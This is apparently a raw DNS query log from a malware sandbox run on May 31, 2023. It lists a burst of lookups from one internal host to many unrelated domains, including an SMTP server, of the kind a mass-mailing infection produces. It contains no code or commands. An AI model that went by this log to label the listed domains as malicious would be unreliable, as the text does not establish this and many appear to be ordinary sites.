May 31, 2023 14:52:10.223808050 CEST	192.168.2.3	8.8.8.8	0x45bb	Standard query (0)	hes.pt	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.224690914 CEST	192.168.2.3	8.8.8.8	0x97fe	Standard query (0)	epc.com.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.249090910 CEST	192.168.2.3	8.8.8.8	0x4fb5	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.281177998 CEST	192.168.2.3	8.8.8.8	0xc2bb	Standard query (0)	softizer.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.296129942 CEST	192.168.2.3	8.8.8.8	0x46f5	Standard query (0)	cvswl.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.312987089 CEST	192.168.2.3	8.8.8.8	0xccd0	Standard query (0)	yoruksut.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.363565922 CEST	192.168.2.3	8.8.8.8	0x5591	Standard query (0)	hchc.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.424711943 CEST	192.168.2.3	8.8.8.8	0xb5b6	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.467713118 CEST	192.168.2.3	8.8.8.8	0x61eb	Standard query (0)	ultibax.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.489465952 CEST	192.168.2.3	8.8.8.8	0xc1ae	Standard query (0)	keio-web.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.536015034 CEST	192.168.2.3	8.8.8.8	0x4bbe	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.592813969 CEST	192.168.2.3	8.8.8.8	0xb40f	Standard query (0)	ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.597434044 CEST	192.168.2.3	8.8.8.8	0x1ae0	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.628607035 CEST	192.168.2.3	8.8.8.8	0x3a9d	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.659825087 CEST	192.168.2.3	8.8.8.8	0xc83e	Standard query (0)	canmore.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.661959887 CEST	192.168.2.3	8.8.8.8	0x5401	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.686120987 CEST	192.168.2.3	8.8.8.8	0x8cc7	Standard query (0)	uster.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.697972059 CEST	192.168.2.3	8.8.8.8	0x46a	Standard query (0)	rokoron.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.718111038 CEST	192.168.2.3	8.8.8.8	0x4749	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.720016003 CEST	192.168.2.3	8.8.8.8	0xc3cf	Standard query (0)	biosolve.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.725356102 CEST	192.168.2.3	8.8.8.8	0xaf1	Standard query (0)	epc.com.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.733411074 CEST	192.168.2.3	8.8.8.8	0x790f	Standard query (0)	envogen.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.741473913 CEST	192.168.2.3	8.8.8.8	0x9953	Standard query (0)	sidepath.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.874195099 CEST	192.168.2.3	8.8.8.8	0xbefe	Standard query (0)	bggs.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.909337044 CEST	192.168.2.3	8.8.8.8	0xa8f6	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.942033052 CEST	192.168.2.3	8.8.8.8	0xe1da	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.964780092 CEST	192.168.2.3	8.8.8.8	0xaffd	Standard query (0)	vdoherty.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.966512918 CEST	192.168.2.3	8.8.8.8	0x298e	Standard query (0)	yasuma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:10.985081911 CEST	192.168.2.3	8.8.8.8	0x6fe0	Standard query (0)	h-et-l.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.065221071 CEST	192.168.2.3	8.8.8.8	0x9e82	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.124357939 CEST	192.168.2.3	8.8.8.8	0x7d3a	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.160967112 CEST	192.168.2.3	8.8.8.8	0x6ddd	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.183666945 CEST	192.168.2.3	8.8.8.8	0x207d	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.222156048 CEST	192.168.2.3	8.8.8.8	0xaa43	Standard query (0)	missnue.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.249460936 CEST	192.168.2.3	8.8.8.8	0xb7a	Standard query (0)	ymlp15.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.285317898 CEST	192.168.2.3	8.8.8.8	0x4fb5	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.386185884 CEST	192.168.2.3	8.8.8.8	0x925f	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.390338898 CEST	192.168.2.3	8.8.8.8	0x9d23	Standard query (0)	atb-lit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.509648085 CEST	192.168.2.3	8.8.8.8	0xa1e5	Standard query (0)	iranytu.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.592365026 CEST	192.168.2.3	8.8.8.8	0xf66e	Standard query (0)	sanfotek.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.630281925 CEST	192.168.2.3	8.8.8.8	0x8339	Standard query (0)	doggybag.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.638612032 CEST	192.168.2.3	8.8.8.8	0x1856	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.673892975 CEST	192.168.2.3	8.8.8.8	0x988f	Standard query (0)	esmoke.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.689220905 CEST	192.168.2.3	8.8.8.8	0xfd93	Standard query (0)	ccssinc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.803435087 CEST	192.168.2.3	8.8.8.8	0x4d43	Standard query (0)	bidroll.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.806607962 CEST	192.168.2.3	8.8.8.8	0x5b3a	Standard query (0)	fogra.com.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.834920883 CEST	192.168.2.3	8.8.8.8	0x88d	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.852786064 CEST	192.168.2.3	8.8.8.8	0x746b	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.877876043 CEST	192.168.2.3	8.8.8.8	0x25ee	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:11.918014050 CEST	192.168.2.3	8.8.8.8	0xade	Standard query (0)	koz1.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.003010035 CEST	192.168.2.3	8.8.8.8	0x7ccc	Standard query (0)	603888.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.216147900 CEST	192.168.2.3	8.8.8.8	0x58d9	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.268332005 CEST	192.168.2.3	8.8.8.8	0xcbcf	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.290333986 CEST	192.168.2.3	8.8.8.8	0xdf59	Standard query (0)	www.yocinc.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.299599886 CEST	192.168.2.3	8.8.8.8	0x9f18	Standard query (0)	acraloc.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.448040962 CEST	192.168.2.3	8.8.8.8	0xac1e	Standard query (0)	msl-lock.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.576678038 CEST	192.168.2.3	8.8.8.8	0xb8ec	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.668009043 CEST	192.168.2.3	8.8.8.8	0xafe1	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.669527054 CEST	192.168.2.3	8.8.8.8	0xf52b	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.671473026 CEST	192.168.2.3	8.8.8.8	0x5be2	Standard query (0)	kursavto.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.956625938 CEST	192.168.2.3	8.8.8.8	0xad24	Standard query (0)	nlcv.bas.bg	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.957387924 CEST	192.168.2.3	8.8.8.8	0xb650	Standard query (0)	amele.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.959053993 CEST	192.168.2.3	8.8.8.8	0x7439	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:12.960397959 CEST	192.168.2.3	8.8.8.8	0xe384	Standard query (0)	aoinko.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.010788918 CEST	192.168.2.3	8.8.8.8	0xf3a1	Standard query (0)	aba.org.eg	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.092747927 CEST	192.168.2.3	8.8.8.8	0x2acd	Standard query (0)	vivastay.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.095031977 CEST	192.168.2.3	8.8.8.8	0xb87e	Standard query (0)	pers.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.098530054 CEST	192.168.2.3	8.8.8.8	0x150c	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.144695044 CEST	192.168.2.3	8.8.8.8	0x17e6	Standard query (0)	enguita.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.240711927 CEST	192.168.2.3	8.8.8.8	0x759	Standard query (0)	avse.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.358995914 CEST	192.168.2.3	8.8.8.8	0xb5b2	Standard query (0)	www.kernsafe.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.361434937 CEST	192.168.2.3	8.8.8.8	0x4fb5	Standard query (0)	actmin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.459568024 CEST	192.168.2.3	8.8.8.8	0x9f36	Standard query (0)	tozzhin.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.534960032 CEST	192.168.2.3	8.8.8.8	0x5c48	Standard query (0)	epc.com.au	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.539819002 CEST	192.168.2.3	8.8.8.8	0xb67f	Standard query (0)	portoccd.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.603740931 CEST	192.168.2.3	8.8.8.8	0xe07f	Standard query (0)	zemarmot.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.725282907 CEST	192.168.2.3	8.8.8.8	0x7b0	Standard query (0)	ossir.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.787573099 CEST	192.168.2.3	8.8.8.8	0xc181	Standard query (0)	scintel.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.788212061 CEST	192.168.2.3	8.8.8.8	0xf52b	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.842744112 CEST	192.168.2.3	8.8.8.8	0x1d3b	Standard query (0)	www.vitaindu.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.914158106 CEST	192.168.2.3	8.8.8.8	0xd801	Standard query (0)	paraski.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.921188116 CEST	192.168.2.3	8.8.8.8	0x3021	Standard query (0)	uhsa.edu.ag	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:13.931983948 CEST	192.168.2.3	8.8.8.8	0xc589	Standard query (0)	ludea.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.434568882 CEST	192.168.2.3	8.8.8.8	0xc7d8	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.454365969 CEST	192.168.2.3	8.8.8.8	0x22	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.635828972 CEST	192.168.2.3	8.8.8.8	0x413e	Standard query (0)	araax.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.662333012 CEST	192.168.2.3	8.8.8.8	0xa126	Standard query (0)	webavant.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.698088884 CEST	192.168.2.3	8.8.8.8	0x856e	Standard query (0)	umcor.am	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.766074896 CEST	192.168.2.3	8.8.8.8	0x2f5f	Standard query (0)	www.ottospm.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.769911051 CEST	192.168.2.3	8.8.8.8	0x739e	Standard query (0)	nme.co.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.773138046 CEST	192.168.2.3	8.8.8.8	0xa7fa	Standard query (0)	geecl.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.899045944 CEST	192.168.2.3	8.8.8.8	0x4a2d	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.936058044 CEST	192.168.2.3	8.8.8.8	0xcf92	Standard query (0)	sjbmw.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.960203886 CEST	192.168.2.3	8.8.8.8	0xf52b	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:14.971180916 CEST	192.168.2.3	8.8.8.8	0x1580	Standard query (0)	cyclad.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.140855074 CEST	192.168.2.3	8.8.8.8	0x7534	Standard query (0)	dyag-eng.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.141499043 CEST	192.168.2.3	8.8.8.8	0x56c0	Standard query (0)	ccrsi.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:15.848741055 CEST	192.168.2.3	8.8.8.8	0xc7d8	Standard query (0)	cjcagent.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.014866114 CEST	192.168.2.3	8.8.8.8	0x6c80	Standard query (0)	wolffkran.de	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.030260086 CEST	192.168.2.3	8.8.8.8	0x82d8	Standard query (0)	aluminox.es	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.138034105 CEST	192.168.2.3	8.8.8.8	0x22	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.223351955 CEST	192.168.2.3	8.8.8.8	0x1889	Standard query (0)	sidepath.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.291295052 CEST	192.168.2.3	8.8.8.8	0x9948	Standard query (0)	www.valselit.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.304444075 CEST	192.168.2.3	8.8.8.8	0x2243	Standard query (0)	biurohera.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.312341928 CEST	192.168.2.3	8.8.8.8	0xb16a	Standard query (0)	www.ex-olive.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.316189051 CEST	192.168.2.3	8.8.8.8	0xd208	Standard query (0)	pertex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.321274042 CEST	192.168.2.3	8.8.8.8	0xde24	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.329066992 CEST	192.168.2.3	8.8.8.8	0xf3	Standard query (0)	gcss.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.346522093 CEST	192.168.2.3	8.8.8.8	0xd916	Standard query (0)	holp-ai.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.373977900 CEST	192.168.2.3	8.8.8.8	0x61de	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.421442032 CEST	192.168.2.3	8.8.8.8	0xa110	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.431142092 CEST	192.168.2.3	8.8.8.8	0xa464	Standard query (0)	fifa-ews.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.438997030 CEST	192.168.2.3	8.8.8.8	0x7c6b	Standard query (0)	isom.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.507401943 CEST	192.168.2.3	8.8.8.8	0x2f22	Standard query (0)	n23china.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.514375925 CEST	192.168.2.3	8.8.8.8	0x86e3	Standard query (0)	www.fnw.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.515515089 CEST	192.168.2.3	8.8.8.8	0x823	Standard query (0)	www.railbook.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.536482096 CEST	192.168.2.3	8.8.8.8	0x4f9c	Standard query (0)	smtp.compuserve.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.544107914 CEST	192.168.2.3	8.8.8.8	0x911e	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.580354929 CEST	192.168.2.3	8.8.8.8	0xe8b5	Standard query (0)	www.ftchat.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.607188940 CEST	192.168.2.3	8.8.8.8	0xa71f	Standard query (0)	kewlmail.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.630089045 CEST	192.168.2.3	8.8.8.8	0x20d0	Standard query (0)	www.2print.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.668693066 CEST	192.168.2.3	8.8.8.8	0x5511	Standard query (0)	oh28ya.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.671916008 CEST	192.168.2.3	8.8.8.8	0x5b7a	Standard query (0)	siongann.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.672153950 CEST	192.168.2.3	8.8.8.8	0xf01e	Standard query (0)	oaith.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.688910007 CEST	192.168.2.3	8.8.8.8	0xbe4a	Standard query (0)	msl-lock.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.753506899 CEST	192.168.2.3	8.8.8.8	0xced2	Standard query (0)	www.wkhk.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.793232918 CEST	192.168.2.3	8.8.8.8	0x8334	Standard query (0)	ie-roi.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.803845882 CEST	192.168.2.3	8.8.8.8	0x315f	Standard query (0)	akdeniz.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.813079119 CEST	192.168.2.3	8.8.8.8	0x13bd	Standard query (0)	e-asset.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.830030918 CEST	192.168.2.3	8.8.8.8	0x4b6f	Standard query (0)	reproar.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.844172001 CEST	192.168.2.3	8.8.8.8	0x922	Standard query (0)	duiops.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.848798037 CEST	192.168.2.3	8.8.8.8	0x3590	Standard query (0)	agulatex.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.881067991 CEST	192.168.2.3	8.8.8.8	0x20ad	Standard query (0)	dzm.cz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.956068039 CEST	192.168.2.3	8.8.8.8	0x14f8	Standard query (0)	www.elpro.si	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.963056087 CEST	192.168.2.3	8.8.8.8	0xdeba	Standard query (0)	www.nunomira.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:16.968713045 CEST	192.168.2.3	8.8.8.8	0xf52b	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.095928907 CEST	192.168.2.3	8.8.8.8	0xb735	Standard query (0)	www.iamdirt.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.096203089 CEST	192.168.2.3	8.8.8.8	0xf446	Standard query (0)	www.transsib.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.103224993 CEST	192.168.2.3	8.8.8.8	0x7dc0	Standard query (0)	www.depalo.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.106509924 CEST	192.168.2.3	8.8.8.8	0x3786	Standard query (0)	www.x0c.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.191958904 CEST	192.168.2.3	8.8.8.8	0xc0ad	Standard query (0)	www.wifi4all.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.224808931 CEST	192.168.2.3	8.8.8.8	0x5721	Standard query (0)	www.naoi-a.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.234146118 CEST	192.168.2.3	8.8.8.8	0xdc9f	Standard query (0)	atis-sk.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.243554115 CEST	192.168.2.3	8.8.8.8	0x3d78	Standard query (0)	nolaoig.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.258409977 CEST	192.168.2.3	8.8.8.8	0xfd90	Standard query (0)	www.petsfan.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.277482986 CEST	192.168.2.3	8.8.8.8	0x66d4	Standard query (0)	www.fcwcvt.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.292295933 CEST	192.168.2.3	8.8.8.8	0x32c2	Standard query (0)	kamptal.at	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.307656050 CEST	192.168.2.3	8.8.8.8	0x6fcb	Standard query (0)	www.jroy.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.339217901 CEST	192.168.2.3	8.8.8.8	0x74bb	Standard query (0)	www.vexcom.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.350163937 CEST	192.168.2.3	8.8.8.8	0x17ed	Standard query (0)	shiner.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.363647938 CEST	192.168.2.3	8.8.8.8	0x1d47	Standard query (0)	www.otena.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.386315107 CEST	192.168.2.3	8.8.8.8	0x5381	Standard query (0)	www.nelipak.nl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.428220987 CEST	192.168.2.3	8.8.8.8	0xc873	Standard query (0)	www.owsports.ca	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.431441069 CEST	192.168.2.3	8.8.8.8	0x521	Standard query (0)	www.sjbs.org	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.442367077 CEST	192.168.2.3	8.8.8.8	0xed43	Standard query (0)	www.yumgiskor.kz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.445049047 CEST	192.168.2.3	8.8.8.8	0x1ac9	Standard query (0)	www.evcpa.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.467745066 CEST	192.168.2.3	8.8.8.8	0x465b	Standard query (0)	www.abart.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.492048025 CEST	192.168.2.3	8.8.8.8	0x21d3	Standard query (0)	www.t-tre.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.526180983 CEST	192.168.2.3	8.8.8.8	0xc286	Standard query (0)	www.edimart.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.527889013 CEST	192.168.2.3	8.8.8.8	0x4f59	Standard query (0)	www.tvtools.fi	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.530091047 CEST	192.168.2.3	8.8.8.8	0x911e	Standard query (0)	websy.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.543504953 CEST	192.168.2.3	8.8.8.8	0xc8b5	Standard query (0)	www.xaicom.es	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.551027060 CEST	192.168.2.3	8.8.8.8	0x60eb	Standard query (0)	zemarmot.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.563503981 CEST	192.168.2.3	8.8.8.8	0x585	Standard query (0)	www.ora.ecnet.jp	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.649663925 CEST	192.168.2.3	8.8.8.8	0x40f9	Standard query (0)	www.aevga.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.673427105 CEST	192.168.2.3	8.8.8.8	0x9a2c	Standard query (0)	www.cokocoko.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.674233913 CEST	192.168.2.3	8.8.8.8	0x15e1	Standard query (0)	www.abdg.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.688024044 CEST	192.168.2.3	8.8.8.8	0x9817	Standard query (0)	clysma.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.728329897 CEST	192.168.2.3	8.8.8.8	0xaa0e	Standard query (0)	www.pcgrate.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.899264097 CEST	192.168.2.3	8.8.8.8	0xe64b	Standard query (0)	webband.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.922395945 CEST	192.168.2.3	8.8.8.8	0x548b	Standard query (0)	www.synetik.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.928807020 CEST	192.168.2.3	8.8.8.8	0xea7	Standard query (0)	www.hummer.hu	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:17.998322010 CEST	192.168.2.3	8.8.8.8	0xc849	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.006932974 CEST	192.168.2.3	8.8.8.8	0x3756	Standard query (0)	www.maktraxx.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.027121067 CEST	192.168.2.3	8.8.8.8	0x8f2a	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.034030914 CEST	192.168.2.3	8.8.8.8	0xb849	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.058434963 CEST	192.168.2.3	8.8.8.8	0xe8f3	Standard query (0)	ktenergo.ru	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.083547115 CEST	192.168.2.3	8.8.8.8	0xdba9	Standard query (0)	www.stnic.co.uk	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.099299908 CEST	192.168.2.3	8.8.8.8	0xfb96	Standard query (0)	www.waldi.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.137399912 CEST	192.168.2.3	8.8.8.8	0x511	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.175913095 CEST	192.168.2.3	8.8.8.8	0x2c7f	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.207300901 CEST	192.168.2.3	8.8.8.8	0xd062	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.212305069 CEST	192.168.2.3	8.8.8.8	0x835	Standard query (0)	www.holleman.us	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.238987923 CEST	192.168.2.3	8.8.8.8	0x2105	Standard query (0)	c-drop.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.254190922 CEST	192.168.2.3	8.8.8.8	0x8165	Standard query (0)	www.medisa.info	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.266326904 CEST	192.168.2.3	8.8.8.8	0x7239	Standard query (0)	invictus.pl	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.275773048 CEST	192.168.2.3	8.8.8.8	0x7a85	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.295536995 CEST	192.168.2.3	8.8.8.8	0xaa94	Standard query (0)	www.mobilnic.net	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.299669981 CEST	192.168.2.3	8.8.8.8	0xb629	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.323517084 CEST	192.168.2.3	8.8.8.8	0xef42	Standard query (0)	haigh-me.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.338591099 CEST	192.168.2.3	8.8.8.8	0x4300	Standard query (0)	106west.com	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.396869898 CEST	192.168.2.3	8.8.8.8	0xeecf	Standard query (0)	www.udesign.biz	A (IP address)	IN (0x0001)	false
May 31, 2023 14:52:18.443255901 CEST	192.168.2.3	8.8.8.8	0xd6ba	Standard query (0)	www.jacomfg.com	A (IP address)	IN (0x0001)	false
